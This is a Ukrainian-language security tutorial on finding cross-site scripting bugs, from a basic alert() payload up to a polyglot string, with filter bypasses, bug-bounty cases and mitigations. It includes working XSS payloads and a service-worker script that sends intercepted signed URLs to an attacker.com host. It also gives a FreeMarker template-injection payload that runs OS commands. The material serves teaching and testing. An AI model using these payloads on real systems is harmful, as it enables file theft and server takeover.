---
title: 'Ефективний пошук XSS-уязвимостей: від alert() до RCE | DevSense'
description: 'Опануйте мистецтво пошуку та експлуатації міжсайтового скриптингу (XSS). Навчіться створювати універсальні пейлоади, обходити фільтри WAF та підвищувати XSS до RCE на реальних кейсах Bug Bounty.'
faq:
    - { question: 'Що робить перевірочний рядок універсальним (поліглот) XSS-пейлоадом?', answer: 'Універсальний пейлоад розроблений для успішного виконання JavaScript у різних контекстах HTML (атрибути, текст, теги скриптів чи стилів). Він закриває наявні лапки/теги та впроваджує активний тег (наприклад, iframe), не ламаючи синтаксис парсера браузера.' }
    - { question: 'Як Service Worker може перехопити файли в S3-бакеті для XSS-атаки?', answer: 'Якщо додаток віддає файли користувачів із загального S3-бакета на тому ж Origin, зловмисник може завантажити шкідливий Service Worker. Після реєстрації він перехоплює всі запити до файлів у своєму scope, дозволяючи викрадати тимчасові підписи та конфіденційні дані.' }
    - { question: "У чому різниця між клієнтською ін'єкцією шаблонів та SSTI?", answer: "Клієнтська ін'єкція (наприклад, в AngularJS/VueJS) виконує код у браузері жертви через шаблонізатор JS. Серверна ін'єкція (SSTI) виконує код безпосередньо на сервері в шаблонізаторах (FreeMarker, Twig тощо), що часто призводить до віддаленого виконання команд (RCE)." }
published: '2026-07-09'
---
# Ефективний пошук XSS-уязвимостей: від alert() до RCE

Пошук уразливостей у безпеці часто уявляють як таємне мистецтво, доступне лише обраним хакерам. Проте клієнтські загрози, такі як **міжсайтовий скриптинг (XSS)**, підпорядковуються строгій логіці. Розуміючи особливості розбору HTML браузером та вміючи конструювати універсальні перевірочні рядки, будь-який розробник чи тестувальник може ефективно знаходити XSS-баги.

У цьому посібнику, заснованому на матеріалах конференцій Heisenbug та реальному досвіді Bug Bounty, ми розберемо системну методологію пошуку XSS, навчимося збирати просунуті пейлоади та вивчимо реальні кейси, де прості ін'єкції призвели до повного захоплення серверів.

---

## Зміст

* [Що таке XSS і чому виникає уразливість](#what-is-xss)
* [Методологія ручного пошуку](#hunting-methodology)
* [Конструювання універсального пейлоаду (від Level 0 до 1337)](#universal-payloads)
* [Обхід реальних фільтрацій](#bypassing-restrictions)
* [Реальні кейси з Bug Bounty](#case-studies)
    * [Обхід регулярного виразу в biz.mail.ru](#case-mailru)
    * [Атака на S3-бакет через Service Worker](#case-s3)
    * [Email HTML-ін'єкція та FreeMarker RCE](#case-ssti)
* [Способи захисту та мінімізація ризиків](#mitigations)

---

<a id="what-is-xss"></a>
## Що такое XSS і чому виникає уразливість

**Міжсайтовий скриптинг (XSS / Cross-Site Scripting)** — це уразливість, яка дозволяє зловмиснику виконувати довільний код JavaScript у браузері жертви в контексті безпеки (Origin) вашого сайту.

Вона виникає, коли веб-додаток приймає дані від користувача та вбудовує їх у згенеровану HTML-сторінку без належного кодування чи очищення. Браузер не може відрізнити оригінальний код додатка від впроваджених тегів і просто виконує всі скрипти поспіль.

XSS поділяється на два основні типи:
* **Stored (Збережена) XSS:** Шкідливий код зберігається в БД (наприклад, ім'я користувача або коментар) і пізніше віддається іншим користувачам.
* **Reflected (Відображена) XSS:** Скрипт одразу повертається у відповіді сервера, як правило, через параметр в URL або тіло POST-запиту.

---

<a id="hunting-methodology"></a>
## Методологія ручного пошуку

Автоматичні сканери часто пропускають логічні уразливості та спотикаються об фільтри безпеки. Метод чорної скриньки вручну працює набагато надійніше:

1. **Впроваджуйте унікальний перевірочний рядок** (наприклад, `qweqwe`) у всі поля введення, URL-параметри, заголовки та форми завантаження.
2. **Вивчайте DOM-дерево сторінки.** Відкрийте DevTools (`F12`), знайдіть ваш рядок (`Ctrl+F`) і подивіться, скільки разів він вивівся на сторінці.
3. **Аналізуйте контекст потрапляння.** Куди вбудувався рядок? У звичайний текст? У значення атрибута `value`? Всередину блоку `<script>`?
4. **Перевіряйте спецсимволи** (`' " < > &`). Чи перетворюються вони на безпечні HTML entities (наприклад, `&quot;`, `&lt;`, `&gt;`), чи виводяться як є?
5. **Розкручуйте вектор атаки** залежно від дозволених символів.

---

<a id="universal-payloads"></a>
## Конструювання універсального пейлоаду (від Level 0 до 1337)

Щоб не підбирати код під кожне поле індивідуально, багхантери використовують **універсальні корисні навантаження**, які одночасно закривають кілька можливих контекстів вставки.

### Level 0: Новачок
`"<script>alert()</script>"`
Спрацює лише в тому випадку, якщо рядок виводиться безпосередньо в тіло HTML:
```html
<p>Привіт, Користувач <script>alert()</script>!</p>
```

### Level 1: Вихід з атрибута
Якщо дані потрапляють всередину атрибута тегу, попередній варіант не спрацює — він залишиться всередині лапок:
```html
<input name="search" value="<script>alert()</script>">
```
Нам потрібно закрити лапку та сам тег: `">`
Новий пейлоад: `"><script>alert()</script>`
```html
<input name="search" value=""><script>alert()</script>">
```

### Level 2: Вихід зі службових тегів
Якщо рядок потрапив всередину тегів `<title>`, `<style>`, `<textarea>` або `<script>`, браузер вважає всі дані текстом або кодом JS і не буде рендерити HTML-теги.
Їх потрібно спочатку закрити.
Новий пейлоад: `"></title></script><script>alert()</script>`

Що якщо розробник взяв атрибут в одинарні лапки? Додамо `'` на початок:
Новий пейлоад: `'">></title></script><script>alert()</script>`

### Level 3: Використання iframe
Тег `<script>` часто блокується WAF (Web Application Firewall). Замість нього краще використовувати `<iframe>` з подією `onload`:
Новий пейлоад: `'">></title></script><iframe onload='alert()'>`

Фрейм виконає JavaScript в атрибуті `onload` одразу після відмальовування, навіть без вказівки джерела `src`.

### Level 1337: Слеші та поліглоти
Просунуті фільтри можуть вирізати пробіли або шукати закриваючі дужки. Ми обійдемо їх, якщо:
* Замінимо пробіли слешами (`/`).
* Дозволимо браузеру самому закрити тег (приберемо `>`).
* Закриємо можливі HTML-коментарі (`-->`).
* Впровадимо вирази клієнтських шаблонізаторів AngularJS або VueJS (`{{7*7}}`).

Підсумковий універсальний пейлоад:
```html
'"/test/></title/></script/></style/-->{{7*7}}<iframe/onload='alert`1``<!--
```

Якщо він вбудується в атрибут, то вийде:
```html
<input name="search" value=''"/test/></title/></script/></style/-->{{7*7}}<iframe/onload='alert`1``<!--'>
```
Тут успішно створюється наш власний атрибут `test`, присутність якого легко виявити скриптом у консолі:
```javascript
if (document.querySelectorAll('*[test]').length > 0) {
    console.log("XSS виявлено через ін'єкцію атрибута!");
}
```

---

<a id="bypassing-restrictions"></a>
## Обхід реальних фільтрацій

### 1. Незакриті теги проти регулярних виразів
Якщо фільтр видаляє всі конструкції виду `<...>`, ви можете надіслати незакритий тег:
```html
<iframe/onload='alert()'
```
Браузер розпарсить рядок, зустріне кінець документа і сам підставить закриваючу дужку, виконавши скрипт.

### 2. Пробільні символи в URL-схемах
При перевірці параметрів перенаправлення (наприклад, `returnUrl`) розробники часто перевіряють, чи починається рядок зі слова `javascript:`.
* **Обхід пробілом:** Додавання пробілу або табуляції перед схемою (`%20javascript:alert()`) обходить просту перевірку `startsWith`, але браузер все одно вважає схему валідною та виконує код.
* **Синтаксис URL:** Конструкція виду `javascript://google.com/%0aalert()`. Подвійний слеш перетворює наступний текст на коментар JS, а `%0a` (перенесення рядка) завершує його, запускаючи `alert()`.

---

<a id="case-studies"></a>
## Реальні кейси з Bug Bounty

<a id="case-mailru"></a>
### Кейс 1: Обхід регулярного виразу в biz.mail.ru
На одному з проектів Mail.ru при виникненні помилки 500 відбувався редирект на сторінку помилки з параметром `from`. Кнопка «Оновити» вела на цю адресу.
* Спроба підставити `javascript:alert()` замінювалася на `https://`.
* Підстановка `%20javascript:alert()` (з пробілом на початку) обійшла регулярний вираз. У посилання записалася шкідлива адреса, яка відпрацьовувала при кліку на кнопку «Оновити».

<a id="case-s3"></a>
### Кейс 2: Атака на S3-бакет через Service Worker
У приватній CRM-системі користувачі завантажували документи, які зберігалися в хмарному сховищі Amazon S3.
При спробі відкрити файл сервер генерував тимчасовий підпис і редиректива на домен S3.
* Всі файли користувачів зберігалися на одному піддомені S3.
* Атакуючий завантажив HTML-файл з XSS-пейлоадом. При його відкритті в браузері виконувався JS.
* Щоб вкрасти файли інших користувачів, хакер завантажив у бакет шкідливий `serviceworker.js`:
```javascript
// serviceworker.js
self.addEventListener('fetch', function(event) {
    event.respondWith(
        new Response("<iframe src='https://attacker.com/log?url=" + encodeURIComponent(event.request.url) + "'></iframe>", {
            headers: { 'Content-Type': 'text/html' }
        })
    );
});
```
* Жертві надсилалося посилання на файл `exploit.html`, який реєстрував Service Worker на весь корінь S3-бакета.
* Тепер, коли жертва намагалася відкрити будь-який інший секретний документ у CRM, Service Worker перехоплював запит і відправляв тимчасове підписане посилання на сервер атакуючого.

<a id="case-ssti"></a>
### Кейс 3: Email HTML-ін'єкція та FreeMarker RCE
Маркетингова платформа дозволяла кастомізувати HTML-шаблони листів.
* Хакер впровадив вирази `${7*7}` та `{{7*7}}` у шаблон листа.
* При передперегляді листа сервер вирахував вираз і вивів `49`, що вказало на уязвимість **SSTI (Server-Side Template Injection)**.
* Шаблонізатором виявився Java-орієнтований **FreeMarker**. Використовуючи його вбудовані методи виконання команд, ін'єкція була підвищена до виконання коду на сервері (**RCE**):
```html
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}
```
Команда `id` виконалася в операційній системі сервера, і результат (права root) відобразився прямо у вікні передперегляду листа.

---

<a id="mitigations"></a>
## Способи захисту та мінімізація ризиків

1. **Ніколи не довіряйте введенню користувача:** Будь-які параметри, заголовки та імена файлів повинні валідуватися.
2. **Контекстне кодування виведення:** Застосовуйте екранування спецсимволів залежно від місця виведення:
    * У тілі HTML: використовуйте `htmlspecialchars()`.
    * У контексті JS: кодуйте через `json_encode()`.
    * У посиланнях: дозволяйте тільки протоколи `http`/`https`.
3. **Впроваджуйте Content Security Policy (CSP):** Суворі заголовки CSP забороняють виконання інлайнових скриптів та обмежують джерела завантаження ресурсів.
4. **Ізолюйте файли користувачів:** Зберігайте контент, що завантажується, на повністю окремому домені (наприклад, `my-app-files.com`), де немає сесійних кук і доступу до основного API.
5. **Налаштовуйте шаблонізатори безпечно:** Відключайте доступ до системних API та пісочниць при рендерингу шаблонів користувача у FreeMarker, Twig або Blade.